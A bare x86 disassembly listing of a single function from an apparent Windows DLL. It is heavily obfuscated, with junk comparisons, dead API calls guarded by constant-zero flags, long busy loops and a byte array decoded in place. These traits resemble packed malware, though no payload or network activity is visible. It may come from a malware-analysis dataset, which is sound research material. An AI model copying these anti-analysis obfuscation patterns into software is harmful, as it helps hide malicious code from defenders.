mov dword [ebp - 0xc90], 1
jmp 0x10015d9b
and dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0xeac], eax
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0x9e8]
sub eax, dword [ebp - 0xb50]
cmp eax, dword [ebp - 0x570]
jl 0x10015dd7
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x10015dd7
and dword [ebp - 0x7d0], 0
jmp 0x10015de1
mov dword [ebp - 0x7d0], 1
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0x458], eax
jmp 0x10015ea8
mov dword [ebp - 0x1f4], 0x208dd2dc
cmp dword [ebp - 0xb0], 0
jne 0x10015e17
cmp dword [ebp - 0x1f4], 0
jne 0x10015e17
and dword [ebp - 0xa88], 0
jmp 0x10015e21
mov dword [ebp - 0xa88], 1
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0xeb4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0xebc], eax
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0x1f4]
jle 0x10015e53
mov dword [ebp - 0xafc], 1
jmp 0x10015e5a
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xec4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1160]
mov dword [ebp - 0xecc], eax
mov eax, dword [ebp - 0x458]
dec eax
sub eax, dword [ebp - 0x1f4]
cmp eax, 0x8edc
jl 0x10015e95
mov dword [ebp - 0x578], 1
jmp 0x10015e9c
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x1bc], eax
jmp 0x10015f62
mov dword [ebp - 0xbd8], 0
mov dword [ebp - 0xb0], 0xffffffec
jmp 0x10015ed0
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
je 0x10015f62
or eax, 0xffffffff
je 0x10015ef7
cmp dword [ebp - 0xbd8], 0
je 0x10015ef7
mov dword [ebp - 0x900], 1
jmp 0x10015efe
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x24], 0xd
jmp 0x10015f1a
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe5
je 0x10015f5d
mov byte [ebp - 0x16e], 0
movzx eax, byte [ebp - 0x16e]
test eax, eax
je 0x10015f5b
push 0x23bb
push 0x1522
push 0x4e8
push 0xd58
push 0x17a8
push 0x534
push 0x1370
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x10015f13
jmp 0x10015ec3
mov dword [ebp - 0xb4], 0x76ff55e0
mov dword [ebp - 0x1e4], 0x79c4185a
push 1
lea ecx, [ebp - 0xe08]
call fcn.100213ce
mov dword [ebp - 4], 3
push 3
lea ecx, [ebp - 0xf94]
call fcn.100213ce
mov byte [ebp - 4], 4
mov dword [ebp - 0xd50], 0x93cb
mov dword [ebp - 0xd4c], 0x93cb
mov dword [ebp - 0xd48], 0x93cb
mov dword [ebp - 0xd44], 0x93cb
mov dword [ebp - 0x88], 0
jmp 0x10015fdc
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x10015ffe
push dword [ebp - 0x88]
lea ecx, [ebp - 0xe08]
call fcn.100214c8
mov dword [eax], 0xb80be39e
jmp 0x10015fcf
mov dword [ebp - 0x88], 0
jmp 0x10016017
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x10016039
push dword [ebp - 0x88]
lea ecx, [ebp - 0xf94]
call fcn.100214c8
mov dword [eax], 0x969b42c5
jmp 0x1001600a
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0xb4]
jl 0x10016053
mov dword [ebp - 0x580], 1
jmp 0x1001605a
and dword [ebp - 0x580], 0
cmp dword [ebp - 0x580], 0
jg 0x1001606f
mov dword [ebp - 0x7d8], 1
jmp 0x10016076
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e4], 0
jmp 0x100160a2
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0
jg 0x1001622a
mov dword [ebp - 0xcd8], 0x643b8a2
mov dword [ebp - 0xcd4], 0x643b8a2
mov dword [ebp - 0xcd0], 0x643b8a2
mov dword [ebp - 0xccc], 0x643b8a2
mov dword [ebp - 0xed4], 6
push 3
lea ecx, [ebp - 0xf84]
call fcn.100213ce
mov byte [ebp - 4], 5
mov dword [ebp - 0x268], 0
jmp 0x1001610b
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jge 0x1001612d
push dword [ebp - 0x268]
lea ecx, [ebp - 0xf84]
call fcn.100214c8
mov dword [eax], 0x8b9ba5e0
jmp 0x100160fe
mov dword [ebp - 0xb4], 0
jmp 0x10016146
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jg 0x100161fb
mov dword [ebp - 0x998], 0xb667f5ae
mov dword [ebp - 0xc8c], 0x4cb44179
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcd8], 0
jne 0x10016183
mov dword [ebp - 0xa90], 1
jmp 0x1001618a
and dword [ebp - 0xa90], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcd8]
mov dword [ebp - 0xedc], eax
xor eax, eax
inc eax
cmp eax, 0xffffffff
jge 0x100161b1
mov dword [ebp - 0x588], 1
jmp 0x100161b8
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x998], eax
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0xee4], eax
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0xcd8]
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xe08]
call fcn.100214c8
add esi, dword [eax]
mov dword [ebp - 0xc8c], esi
jmp 0x10016139
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xd50]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xd50], eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xf84]
call fcn.100214a3
jmp 0x10016095
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf94]
call fcn.100214a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe08]
call fcn.100214a3
mov byte [ebp - 0x224], 0xa
mov byte [ebp - 0x223], 0xd0
mov byte [ebp - 0x222], 9
mov byte [ebp - 0x221], 0x2b
mov byte [ebp - 0x220], 5
mov byte [ebp - 0x21f], 0x1c
mov byte [ebp - 0x21e], 0xb
mov byte [ebp - 0x21d], 0xa
mov byte [ebp - 0x21c], 7
mov byte [ebp - 0x21b], 0x11
mov byte [ebp - 0x21a], 4
mov byte [ebp - 0x219], 0xc
mov byte [ebp - 0x218], 8
mov byte [ebp - 0x217], 0xa
mov byte [ebp - 0x216], 2
mov byte [ebp - 0x215], 0x1b
mov byte [ebp - 0x214], 0
mov byte [ebp - 0x213], 0x33
mov byte [ebp - 0x212], 0xc
mov byte [ebp - 0x211], 0x10
mov byte [ebp - 0x210], 6
mov byte [ebp - 0x20f], 0x24
mov byte [ebp - 0x20e], 3
mov byte [ebp - 0x20d], 0x25
mov byte [ebp - 0x20c], 1
mov byte [ebp - 0x20b], 0x33
mov dword [ebp - 0x278], 0x90ac204e
push 2
lea ecx, [ebp - 0xa48]
call fcn.100213ce
mov dword [ebp - 4], 6
mov dword [ebp - 0x288], 0x188753e
mov dword [ebp - 0x590], 0x5808
mov dword [ebp - 0xbe0], 0x10007b5c
cmp dword [ebp - 0x590], 0x59ba
jle 0x100163ea
and dword [ebp - 0x308], 0
jmp 0x10016360
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x3de3
jge 0x100163ea
and dword [ebp - 0x270], 0
jmp 0x10016382
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x7f04
jge 0x100163e5
mov eax, dword [ebp - 0x308]
xor eax, dword [ebp - 0x270]
cdq
mov dword [ebp - 0xb08], eax
mov dword [ebp - 0xb04], edx
push dword [ebp - 0xb04]
push dword [ebp - 0xb08]
lea ecx, [ebp - 0x11b0]
call fcn.1000a30e
pop ecx
pop ecx
mov dword [ebp - 0xa98], eax
mov ecx, dword [ebp - 0xa98]
call fcn.10021159
push eax
call fcn.1005137c
pop ecx
lea ecx, [ebp - 0x11b0]
call fcn.1002114f
jmp 0x10016375
jmp 0x10016353
mov dword [ebp - 0xc94], 0xffffffff
mov byte [ebp - 4], 7
cmp dword [ebp - 0x590], 0x547b
jge 0x10016410
push dword [ebp - 0xbe0]
call fcn.1005137c
pop ecx
jmp 0x1001642c
mov dword [ebp - 4], 6
jmp 0x1001643c
mov dword [ebp - 0x310], 0
jmp 0x10016455
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 2
jge 0x10016477
push dword [ebp - 0x310]
lea ecx, [ebp - 0xa48]
call fcn.100214c8
mov dword [eax], 0x5e17ca00
jmp 0x10016448
mov dword [ebp - 0x278], 0
jmp 0x10016490
mov eax, dword [ebp - 0x278]
dec eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xfffffff3
je 0x100167fd
mov dword [ebp - 0x204], 0xf0a290be
mov dword [ebp - 0x3bc], 0x274952f
mov byte [ebp - 0xd3], 0
movzx eax, byte [ebp - 0xd3]
test eax, eax
je 0x100164d6
push 0
push 0
push 0xf6a
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov dword [ebp - 0x204], 0
jmp 0x100164ef
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jg 0x100167f8
mov dword [ebp - 0x1c4], 0x576c3a0b
mov dword [ebp - 0xaa0], 0x72b90f99
mov dword [ebp - 0x318], 0
jmp 0x10016529
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 3
jge 0x10016545
mov eax, dword [ebp - 0x318]
mov dword [ebp + eax*4 - 0xce4], 2
jmp 0x1001651c
mov dword [ebp - 0x1c4], 0
jmp 0x1001655e
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jg 0x100167f3
mov dword [ebp - 0x104], 0x3e95aad8
mov dword [ebp - 0x104], 0
jmp 0x1001658e
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jg 0x100167d1
mov dword [ebp - 0x280], 0xffffffff
mov dword [ebp - 0x280], 0
jmp 0x100165be
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jg 0x10016698
mov dword [ebp - 0x320], 0xffffffff
mov dword [ebp - 0x320], 1
jmp 0x100165ee
mov eax, dword [ebp - 0x320]
dec eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
jl 0x10016614
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xce4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xce4], eax
jmp 0x100165e1
mov dword [ebp - 0x288], 2
jmp 0x1001662d
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
jl 0x10016693
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x1001665c
push 0x49b
push 0
push 0
push 0x1d55
call dword [sym.imp.USER32.dll_RedrawWindow]
mov eax, dword [ebp - 0x104]
mov esi, dword [ebp + eax*4 - 0xce0]
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0xa48]
call fcn.100214c8
mov edi, dword [eax]
sub edi, esi
push dword [ebp - 0x204]
lea ecx, [ebp - 0xa48]
call fcn.100214c8
mov dword [eax], edi
jmp 0x10016620
jmp 0x100165b1
push dword [ebp - 0x104]
lea ecx, [ebp - 0xa48]
call fcn.100214c8
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0xeec], eax
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x100166c8
mov dword [ebp - 0x7e0], 1
jmp 0x100166cf
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x7e0], eax
jne 0x100166e9
mov dword [ebp - 0x598], 1
jmp 0x100166f0
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 0xa0becc33
jbe 0x10016708
mov dword [ebp - 0x908], 1
jmp 0x1001670f
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x908]
je 0x10016729
mov dword [ebp - 0x5a0], 1
jmp 0x10016730
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x5a0], eax
jne 0x1001674a
mov dword [ebp - 0x7e8], 1
jmp 0x10016751
and dword [ebp - 0x7e8], 0
cmp dword [ebp - 0x7e8], 0x5766
jl 0x10016769
mov dword [ebp - 0x5a8], 1
jmp 0x10016770
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x5a8]
add eax, 5
cmp eax, 0xffffffff
je 0x1001678a
mov dword [ebp - 0xa04], 1
jmp 0x10016791
and dword [ebp - 0xa04], 0
cmp dword [ebp - 0xa04], 0xac8c6dcf
ja 0x100167b6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xce4], 0
jne 0x100167b6
and dword [ebp - 0x5b0], 0
jmp 0x100167c0
mov dword [ebp - 0x5b0], 1
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0xaa0], eax
jmp 0x10016581
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x100167ee
push 0xb08
call dword [sym.imp.USER32.dll_MessageBeep]
jmp 0x10016551
jmp 0x100164e2
jmp 0x10016483
push 0
lea ecx, [ebp - 0xa48]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0xc94], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa48]
call fcn.100214a3
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x224]
and eax, 0x95
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x224]
or ecx, 0x95
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x224]
mov byte [ebp + eax - 0xa7c], cl
mov dword [ebp - 0x910], 0x885dc1b6
mov dword [ebp - 0x1cc], 0xddb84c6a
push 3
lea ecx, [ebp - 0xd2c]
call fcn.100213ce
mov dword [ebp - 4], 9
mov dword [ebp - 0xbe8], 0xffffffff
mov dword [ebp - 0x44], 0
jmp 0x100168a1
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jge 0x100168b7
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xa30], 9
jmp 0x1001689a
mov dword [ebp - 0x44], 0
jmp 0x100168c7
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jge 0x100168dd
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x10bc], 1
jmp 0x100168c0
mov dword [ebp - 0x44], 0
jmp 0x100168ed
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x10016909
push dword [ebp - 0x44]
lea ecx, [ebp - 0xd2c]
call fcn.100214c8
mov dword [eax], 0x6702e633
jmp 0x100168e6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa30], 0
je 0x10016a8d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa30], 0xb445
jle 0x1001693c
mov dword [ebp - 0x7f0], 1
jmp 0x10016943
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0
jbe 0x10016964
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xa30], 0
jne 0x10016964
and dword [ebp - 0x5b8], 0
jmp 0x1001696e
mov dword [ebp - 0x5b8], 1
mov eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x910], eax
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0x5c0], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp + eax - 0x10bc], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5c0]
sub ecx, dword [ebp + eax - 0xa30]
jne 0x100169c7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10bc], 0
jne 0x100169c7
and dword [ebp - 0x7f8], 0
jmp 0x100169d1
mov dword [ebp - 0x7f8], 1
mov eax, dword [ebp - 0x7f8]
sub eax, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1cc]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xa30]
sub ecx, eax
jne 0x10016a03
xor eax, eax
jne 0x10016a03
and dword [ebp - 0x5c8], 0
jmp 0x10016a0d
mov dword [ebp - 0x5c8], 1
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0x5c8], eax
jg 0x10016a27
mov dword [ebp - 0x9a0], 1
jmp 0x10016a2e
and dword [ebp - 0x9a0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa30]
imul eax, dword [ebp - 0x9a0]
sub eax, 0x1521fafb
push 4
pop ecx
shl ecx, 0
cmp dword [ebp + ecx - 0xa30], eax
jle 0x10016a62
mov dword [ebp - 0x5d0], 1
jmp 0x10016a69
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0xc698dc50
jne 0x10016a8d
mov dword [ebp - 0x42c], 1
jmp 0x10016a94
and dword [ebp - 0x42c], 0
push 1
lea ecx, [ebp - 0xd2c]
call fcn.100214c8
mov ecx, dword [ebp - 0x42c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x42c]
sub edx, dword [ebp + ecx - 0xa30]
cmp edx, dword [ebp + eax - 0xa30]
jl 0x10016ae0
mov eax, 0xb187b35f
test eax, eax
je 0x10016ae0
mov dword [ebp - 0xaa8], 1
jmp 0x10016ae7
and dword [ebp - 0xaa8], 0
push 2
lea ecx, [ebp - 0xd2c]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp - 0xbe8], eax
mov byte [ebp - 0x166], 0
movzx eax, byte [ebp - 0x166]
test eax, eax
je 0x10016b1c
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd2c]
call fcn.100214a3
mov dword [ebp - 0x800], 0x5803
mov dword [ebp - 0xc74], 0x10007ba8
cmp dword [ebp - 0x800], 0x58c8
jle 0x10016bef
and dword [ebp - 0x328], 0
jmp 0x10016b65
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x5ebc
jge 0x10016bef
and dword [ebp - 0x290], 0
jmp 0x10016b87
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x8060
jge 0x10016bea
mov eax, dword [ebp - 0x328]
and eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0xb14], eax
mov dword [ebp - 0xb10], edx
push dword [ebp - 0xb10]
push dword [ebp - 0xb14]
lea ecx, [ebp - 0x11e0]
call fcn.1000a30e
pop ecx
pop ecx
mov dword [ebp - 0xab0], eax
mov ecx, dword [ebp - 0xab0]
call fcn.10021159
push eax
call fcn.1005137c
pop ecx
lea ecx, [ebp - 0x11e0]
call fcn.1002114f
jmp 0x10016b7a
jmp 0x10016b58
mov dword [ebp - 0x58], 2
and dword [ebp - 0x3c4], 0
jmp 0x10016c07
mov eax, dword [ebp - 0x58]
inc eax
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x1a
jae 0x10016c9e
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x3c4]
movzx eax, byte [ebp + eax - 0x226]
movsx eax, byte [ebp + eax - 0xa7c]
mov ecx, dword [ebp - 0x58]
movzx ecx, byte [ebp + ecx - 0x223]
and ecx, eax
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x3c4]
movzx eax, byte [ebp + eax - 0x226]
movsx eax, byte [ebp + eax - 0xa7c]
mov edx, dword [ebp - 0x58]
movzx edx, byte [ebp + edx - 0x223]
and edx, eax
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x3c4]
movzx eax, byte [ebp + eax - 0x226]
movsx eax, byte [ebp + eax - 0xa7c]
mov esi, dword [ebp - 0x58]
movzx ebx, byte [ebp + esi - 0x223]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x224]
mov byte [ebp + eax - 0xa7c], bl
jmp 0x10016bff
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x800], 0x57c4
jge 0x10016cbd
push dword [ebp - 0xc74]
call fcn.1005137c
pop ecx
jmp 0x10016cd9
or dword [ebp - 4], 0xffffffff
jmp 0x10016ce3
push 2
lea ecx, [ebp - 0x390]
call fcn.100213ce
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x920], 0xffff
mov dword [ebp - 0x2a0], 5
mov dword [ebp - 0x330], 0
jmp 0x10016d2b
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 2
jge 0x10016d4d
push dword [ebp - 0x330]
lea ecx, [ebp - 0x390]
call fcn.100214c8
mov dword [eax], 0x55bb2c21
jmp 0x10016d1e
mov dword [ebp - 0x2c], 0
jmp 0x10016d5d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jg 0x100173ac
mov dword [ebp - 0x10c], 0xf4c6f444
mov dword [ebp - 0x1a0], 0x3d2afddf
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
xor esi, esi
inc esi
sub esi, dword [eax]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
imul esi, dword [eax]
test esi, esi
jne 0x10016dac
mov eax, 0xffff
test eax, eax
je 0x10016dbd
or eax, 0xffffffff
je 0x10016dbd
mov dword [ebp - 0x5d8], 1
jmp 0x10016dc4
and dword [ebp - 0x5d8], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
mov esi, dword [eax]
add esi, dword [ebp - 0x5d8]
push 0
lea ecx, [ebp - 0x390]
call fcn.100214c8
cmp esi, dword [eax]
jge 0x10016df7
mov dword [ebp - 0x918], 1
jmp 0x10016dfe
and dword [ebp - 0x918], 0
cmp dword [ebp - 0x918], 0xffffffff
jae 0x10016e13
mov dword [ebp - 0x5e0], 1
jmp 0x10016e1a
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x5e0], eax
je 0x10017076
push 1
lea ecx, [ebp - 0xdc0]
call fcn.100213ce
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x298], 0
jmp 0x10016e56
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 1
jge 0x10016e78
push dword [ebp - 0x298]
lea ecx, [ebp - 0xdc0]
call fcn.100214c8
mov dword [eax], 0xfffffff9
jmp 0x10016e49
mov dword [ebp - 0x10c], 0
jmp 0x10016e91
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xfffffffb
jne 0x10017062
mov dword [ebp - 0xd6c], 7
mov dword [ebp - 0xd68], 7
mov dword [ebp - 0xd64], 7
mov dword [ebp - 0xd60], 7
lea ecx, [ebp - 0x40d]
call fcn.100214d7
push eax
lea eax, [ebp - 0xd5c]
push eax
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0x1168]
call fcn.100215bd
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe14]
call fcn.1002147d
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x1a0], 0
jmp 0x10016f18
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xf
jge 0x10017027
mov dword [ebp - 0x1ec], 0xffffffff
mov dword [ebp - 0xab8], 0x6bce8d55
mov dword [ebp - 0xbf0], 8
mov byte [ebp - 0xd7], 0
movzx eax, byte [ebp - 0xd7]
test eax, eax
je 0x10016f6c
push 1
push 0xf42
push 0x2298
push 0x1393
call dword [sym.imp.USER32.dll_SetDlgItemInt]
mov dword [ebp - 0x1ec], 0
jmp 0x10016f85
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jg 0x10017022
push 0
lea ecx, [ebp - 0xdc0]
call fcn.100214c8
mov esi, eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x10016fc1
mov dword [ebp - 0x40c], 1
jmp 0x10016fc8
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0xef4], eax
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0x390]
call fcn.100214c8
mov ecx, dword [ebp - 0x40c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x40c]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x808], eax
push 0
lea ecx, [ebp - 0xe14]
call fcn.100214c8
mov ecx, dword [ebp - 0x808]
mov dword [eax], ecx
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0xbf0], eax
jmp 0x10016f78
jmp 0x10016f0b
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
cmp dword [eax], 0
je 0x1001704e
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xe14]
call fcn.100214a3
jmp 0x10016e84
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xe14]
call fcn.100214a3
jmp 0x10016e84
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xdc0]
call fcn.100214a3
jmp 0x10017385
mov dword [ebp - 0x1d4], 1
push 4
lea ecx, [ebp - 0xd14]
call fcn.100213ce
mov byte [ebp - 4], 0xf
mov dword [ebp - 0xac8], 0xfffffff8
mov dword [ebp - 0x338], 0
jmp 0x100170b4
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 4
jge 0x100170d6
push dword [ebp - 0x338]
lea ecx, [ebp - 0xd14]
call fcn.100214c8
mov dword [eax], 0x4892
jmp 0x100170a7
push 1
lea ecx, [ebp - 0x390]
call fcn.100214c8
cmp dword [eax], 0xfff6
jne 0x1001720a
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0xefc], eax
mov eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x920]
jge 0x10017115
mov dword [ebp - 0xac0], 1
jmp 0x1001711c
and dword [ebp - 0xac0], 0
push 0
lea ecx, [ebp - 0x390]
call fcn.100214c8
cmp dword [ebp - 0x1d4], 0
jne 0x10017141
cmp dword [ebp - 0x2c], 0
jne 0x10017141
and dword [ebp - 0x5e8], 0
jmp 0x1001714b
mov dword [ebp - 0x5e8], 1
mov eax, dword [ebp - 0x5e8]
add eax, 0x811d
cmp eax, dword [ebp - 0x10c]
je 0x1001716a
mov dword [ebp - 0x9f8], 1
jmp 0x10017171
and dword [ebp - 0x9f8], 0
cmp dword [ebp - 0x9f8], 0x9788
jge 0x10017189
mov dword [ebp - 0x5f0], 1
jmp 0x10017190
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x5f0], eax
je 0x100171aa
mov dword [ebp - 0x810], 1
jmp 0x100171b1
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x810], eax
jg 0x100171c8
mov dword [ebp - 0xc78], 1
jmp 0x100171cf
and dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0xf04], eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x390]
call fcn.100214c8
push 0
lea ecx, [ebp - 0x390]
call fcn.100214c8
mov dword [eax], 1
xor eax, eax
inc eax
jne 0x1001720a
and dword [ebp - 0x5f8], 0
jmp 0x10017214
mov dword [ebp - 0x5f8], 1
push 2
lea ecx, [ebp - 0xd14]
call fcn.100214c8
mov ecx, dword [ebp - 0x5f8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xf0c], eax
